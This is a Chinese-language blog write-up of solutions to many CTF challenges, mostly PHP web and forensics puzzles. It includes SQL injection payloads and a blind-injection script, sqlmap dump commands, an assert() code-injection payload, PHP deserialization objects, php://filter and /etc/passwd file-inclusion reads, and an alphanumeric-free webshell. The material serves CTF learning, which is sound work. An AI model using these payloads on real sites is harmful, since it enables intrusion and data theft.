CTFs.18.7

点击阅读

0x01

变量覆盖

bugku新增的一个小题

题目:

extract($_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值

payload:http://120.24.86.145:9009/bianliang/?a=&b=

flag{num_test_administrator}

这是一个神奇的登陆框

开始也没发现什么,就抓包用sqlmap跑了

跑了半天,也能跑出来

s18.png

python sqlmap.py -r /Users/xc/Desktop/post.txt --dbs --drop-set-cookie -D bugkusql1 -T flag1 --dump

flag就是那串字符放到flag{}里

这个手动注入也可以,就是换成了",也没过滤。。。

最后 1" union select flag1,1 from flag1#

Webshell分析

分析文件findwebshell.pcapng

由webshell想到过滤一下POST

http.request.method=="POST"

然后搜索flag字符串,有两个结果,其中一个最后有类似base64的编码

解码得到图片地址

s19.png

是个二维码,扫描得到flag

flag{1542ae716e47576e1f3e36326a23e72e}

Simple Injection

测试发现空格被过滤,用注释填充

admin'/**/or/**/1=1# 显示密码错误

admin'/**/union/**/select/**/database()# 仍显示密码错误

一开始sqlmap跑出injection库和admin表,password弄不出来

用的python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding: utf-8 -*-

import requests

url='http://web.jarvisoj.com:32787/login.php'
s = requests.Session()
dic = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
flag = ''
for i in range(1,50):
for d in dic:
pl="admin'/**/and/**/(substr((select/**/password/**/from/**/admin),%s,1)='%s')/**/and/**/'1'='1" %(str(i),d)
data = {'username':pl,'password':'2333'}
r = s.post(url,data)
if ('密码错误' in r.content):
flag += d
print flag
break
print flag

s20.png

后来发现sqlmap也是能跑出来的

python sqlmap.py -u "http://web.jarvisoj.com:32787/login.php" --forms --tamper=space2comment -D injection -T admin -C id,username,password --dump

babyphp

首先dirb发现.git代码泄露,用githack扒下来源码

有这么一处

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

百度了解assert的代码注入

  1. page接收参数后组合成变量file。

  2. file经过滤..()防止目录遍历和判断文件是否存在

  3. 包含文件

assert()简介:判断一个表达式是否成立。返回true or false。

当参数为字符串时,会被当作php代码执行。

通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码

assert与eval

assert把整个字符串参数当php代码执行,eval把合法的php代码执行。

payload:

page=233') or print(file_get_contents('templates/flag.php'));%23

;后面加%23或//用来注释

flag

s21.png

0x02

sql注入2

入口:http://120.24.86.145:8007/web2/

全都tm过滤了绝望吗?

提示 !,!=,=,+,-,^,%

一边手动测试,一边扫目录找源代码泄露

找到了flag

s22.png

没看到网上有注入的wp

flag{sql_iNJEct_comMon3600!}

flag.php

提示:hint

扫目录没发现代码泄露,提示hint不是目录,是个get参数

传参得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

一开始cookie里加个ISser,值为serialize($KEY)怎么都不行

看wp才发现那时候$KEY还是NULL

构造ISecer=s:0:""%3B

flag{unserialize_by_virink}

PHP大法

提示index.php.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

传入的id要被urldecode,地址栏的输入要被encode两次

%加字符的16进制

?id=%2568%2561%2563%256b%2565%2572%2544%254a

flag: DUTCTF{PHP_is_the_best_program_language}

爆照(08067CTF)

flag格式 flag{xxx_xxx_xxx}

图片

foremost分出zip包,被加密了

怀疑伪加密,修改文件头0900,解压得到8个文件

其中88,888,8888,三个文件头为jpg类型

修改后缀,88.jpg含二维码,888.jpg的hex里一段base64,foremost分离8888.jpg得到zip包,解压得到二维码

按顺序三个连起来就是flag

s23.png

flag{bilibili_silisili_panama}

字符?正则?

1
2
3
4
5
6
7
<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}

不是很懂php的正则

贴个详解

  1. 表达式直接写出来的字符串直接利用,如key

  2. “.”代表任意字符

  3. “*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次

  4. “\/”代表“/”

  5. [a-z]代表a-z中的任意一个字符

  6. [[:punct:]]代表任意一个字符,包括各种符号

  7. /i代表大小写不敏感

  8. {4-7}代表[0-9]中数字连续出现的次数是4-7次

所以有很多情况

比如:?id=key1key23333key:/3/keyy;

key is: KEY{0x0SIOPh550afc}

0x03

Anonymous

这个很久之前就看过,没头绪

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

也很简单,传入unc_name,执行create_function创建的函数

就是不知道函数名

题目是应该是源自HITCON 2017 Baby^h-master-php的后部分

https://xz.aliyun.com/t/1773/

创建的匿名函数是有名字的,格式是%00lambda_%d,%d是数字

其中的%d会从1一直进行递增,表示这是当前进程中第几个匿名函数.因此如果开启一个新的php进程,那么这个匿名函数就是\x00lambda_1,所以思路就是通过向Pre-fork模式的apache服务器发送大量请求,致使apache开启新的进程来处理请求,那么luck=%00lambda_1就可以执行函数了

我还是觉得简单粗暴点好理解

1
2
3
4
5
6
7
8
9
#coding: utf-8
import requests

s = requests.Session()
for i in range(1,10000):
url = 'http://45.76.173.177:23334/?func_name=%00lambda_'+str(i)
c = s.get(url).text
if 'flag' in c:
print(c)

s24.png

跑出来的时候差点忘了是哪个题

SQL Injection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

echo $flag;

首先

htmlentities() 函数把字符转换为 HTML 实体

ENT_QUOTES - 编码双引号和单引号

我还傻傻用了半天单引号

payload: ?username=1\&password=or%201=1%23

语句就是:

SELECT * FROM users WHERE name='1\' AND pass='or 1=1#';

相当于SELECT * FROM users WHERE name='xxx'or 1=1#';

nctf{sql_injection_is_interesting}

md5 collision

please input a

根据题目,随便0e开头的md5的字符串

paylaod: ?a=s878926199a

flag{md5_collision_is_easy}

guess

解题链接: http://ctf5.shiyanbar.com/misc/angrybird.jpg

用outguess这个工具才能得到flag

win下exe安装失败

下载源码,编译

附上下载链接https://codeload.github.com/crorvick/outguess/zip/master

解密:

outguess -r angrybird.jpg x.txt

flag{0ut_Gas}

Snake

解题链接: http://ctf5.shiyanbar.com/misc/snake.jpg

binwalk分析,foremost分离

zip包中含有cipher和key文件,key经base64解码为

What is Nicki Minaj’s favorite song that refers to snakes?

Nicki Minaj有首叫anaconda的歌,和snake有点关系

不过没想到要用serpent解密,serpent也有蛇的意思

http://serpent.online-domain-tools.com/

类似的加密:

s262.png

anaconda就是key了

s25.png

CTF{who_knew_serpent_cipher_existed}

#0x04

welcome to bugkuctf

1
2
3
4
5
6
7
8
9
10
$user = $_GET["txt"];  
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

txt直接GET传入好像不行

include($file)处的包含可以用php://filter获取php页面源码,但是flag.php是读不了的

?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=1

hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

password则利用反序列化,把Flag的file值赋为flag.php

构造O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

file=hint.php里有Flag类

payload: ?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

s29.png

输入密码查看flag

s30.png

没有什么多的提示

python,写个5位字典,burp爆破即可

s31.png

13579

flag{bugku-baopo-hah}

never give up

源码里提示1p.html

一个可以的js,里面一段base64,解码之后再urldecode

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}


?>

%00使eregi终止,id利用弱类型,字母绕过

payload: ?id=a&a=php://input&b=%001111111

flag{tHis_iS_THe_fLaG}

好多压缩包

解压之后六十多个zip包,不是伪加密,也没爆出密码

然后没了头绪,跟wp学一波

果然要crc碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding:utf-8
import zipfile
import string
import binascii

def CrackCrc(crc):
for i in dic:
for j in dic:
for p in dic:
for q in dic:
s = i + j + p + q
if crc == (binascii.crc32(s) & 0xffffffff):
f.write(s)
return

def CrackZip():
for I in range(68):
file = 'out' + str(I) + '.zip'
f = zipfile.ZipFile(file, 'r')
GetCrc = f.getinfo('data.txt')
crc = GetCrc.CRC
CrackCrc(crc)

dic = string.ascii_letters + string.digits + '+/='

f = open('out.txt', 'w')
CrackZip()
f.close()

然后将得到的base64解码,有flag字样,似乎是一个压缩包

这里太坑了,要用notepad++的base64插件解码再保存才能看到RAR文件的结尾标志C43D7B00400700

然后加上标志头526172211A0700,打开

s33.png

flag{nev3r_enc0de_t00_sm4ll_fil3_w1th_zip}

图穷匕见

图片里有着一大段16进制数据

xxd命令处理,在重定向到输出文件

得到坐标

s34.png

不太会脚本处理,用gnuplot工具输出二维码

s35.png

flag{40fc0a979f759c8892f4dc045e28b820}

0x05

网站被黑

看url:http://120.24.86.145:8002/webshell/

那应该有个shell什么的

果然有个shell.php, 但要密码,整了一个cheetah来shell爆破

https://github.com/sunnyelf/cheetah

一百万的字典没爆出来,可能这不是个真正的shell吧

看wp密码是hack,然后显示flag,果然不是真shell

应该用burp的

flag{hack_bug_ku035}

流量分析(cnss)

数据包很少,但也没什么明显的线索

追踪流的时候总有Referer: http://space.bilibili.com/17190571/

进去页面发现base64字符串,解码获取flag

cnss{b1libil1_A_gay_wEbsite}

简单的waf

bugku刚上没多久,一开始题目有问题,写入的shell访问不了,然后给admin发了邮件才解决_(:3 」∠)_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['content'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['content'];
$black_char = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', '|', '~');
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("鍏抽敭瀛梂AF");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>shell</a></br>";
echo "鎴戠殑/flag,浣犺鍒颁簡涔�";
}else{
echo "鍣� 鍣�,閿欎簡";
}

这题是github上整理的代码审计中的一道https://github.com/CHYbeta/Code-Audit-Challenges#php

大佬们的绕过姿势:

一些不包含数字和字母的webshell

php特殊webshell(无数字,字母,位运算)

一道好玩的webshell题

其思路就是利用字符串ARRAY获取字符A,利用php的特性,从A递增获得A到Z的各个字母。原webshell存在”修改其webshell

+要url编码为%2b

http://120.24.86.145:9010/?content=$_='';$_[%2b$_]%2b%2b;$_=$_.'';$__=$_[%2b''];$_=$__;$___=$_;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$____='_';$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$_=$$____;$___($_[_]);

获得shell的url后,上菜刀就行

s1.png

kill

pcapng文件,Wireshark打不开,文件错误

对比文件头,没修改成功

直接搜索flag

s2.png

Do you know upload?

有个提示

1
2
3
<!-- 
include($_GET['file']);
-->

这里可以用file=../../../../../../../../etc/passwd读文件

并没有找到flag文件

使用
php://filter/read=convert.base64-encode/resource=index.php
查看源码

其中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

<?php

include($_GET['file']);
@$pic = $_FILES["file"]["name"];
@$pics = explode('.' , $pic);

if(@isset($_POST[submit])){
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))){

if ($_FILES["file"]["error"] > 0){
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}else{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
//echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " already exists. ";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
}else{
echo "<script>alert('文件类型不允许')</script>";
echo "Invalid file";
}
}else{
// echo "Invalid file";
}

?>

抓包修改,上传一句话,在config.php中得到mysql账号

登陆mysql获取flag表中的flag值

flag{00e0fb52-6f65-486c-ab4a-4e8b39344940}

0x06

文章作者: J0k3r
文章链接: http://j0k3r.top/2018/07/25/ctfs_18_7/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog